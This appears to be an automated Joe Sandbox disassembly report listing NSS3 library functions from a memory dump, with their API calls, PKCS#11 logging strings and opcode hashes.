Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C68ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C68ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE29

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C68AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C68AEA0

Strings

hSession = 0x%x, xrefs: 6C68AE01, 6C68AE11
(CK_INVALID_HANDLE), xrefs: 6C68AE1F, 6C68AE80
C_MessageSignInit, xrefs: 6C68ADE1
hKey = 0x%x, xrefs: 6C68AE62, 6C68AE72
nvl, xrefs: 6C68AEB8, 6C68AEE6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nvl
API String ID: 332880674-3036463336
Opcode ID: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction ID: b1f9696cb3354686915813e62beb135d3fc7df5ed0a10a026cef5fb02f6d1805
Opcode Fuzzy Hash: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction Fuzzy Hash: CA31EB71602208ABCB009F14DD4CFAA3775AB4630DF044834ED09ABB92DB309909DBBE

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

hSession = 0x%x, xrefs: 6C689F21, 6C689F31
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0
C_MessageEncryptInit, xrefs: 6C689F01
hKey = 0x%x, xrefs: 6C689F82, 6C689F92
nvl, xrefs: 6C689FD8, 6C68A006

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
(CK_INVALID_HANDLE), xrefs: 6C682E2C
C_InitPIN, xrefs: 6C682DF1
ulPinLen = %d, xrefs: 6C682E7C
nvl, xrefs: 6C682E99, 6C682EC4
pPin = 0x%p, xrefs: 6C682E63

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
ulPartLen = %d, xrefs: 6C687EAC
(CK_INVALID_HANDLE), xrefs: 6C687E5C
pPart = 0x%p, xrefs: 6C687E93
C_VerifyUpdate, xrefs: 6C687E21
nvl, xrefs: 6C687EC9, 6C687EF7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
ulPartLen = %d, xrefs: 6C686F9C
(CK_INVALID_HANDLE), xrefs: 6C686F4C
pPart = 0x%p, xrefs: 6C686F83
C_DigestUpdate, xrefs: 6C686F11
nvl, xrefs: 6C686FB9, 6C686FE7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
(CK_INVALID_HANDLE), xrefs: 6C687F8C
ulSignatureLen = %d, xrefs: 6C687FDC
pSignature = 0x%p, xrefs: 6C687FC3
nvl, xrefs: 6C687FF9, 6C688027
C_VerifyFinal, xrefs: 6C687F51

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

Unloaded library %s, xrefs: 6C64B023
%s decr => %d, xrefs: 6C64AFF0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
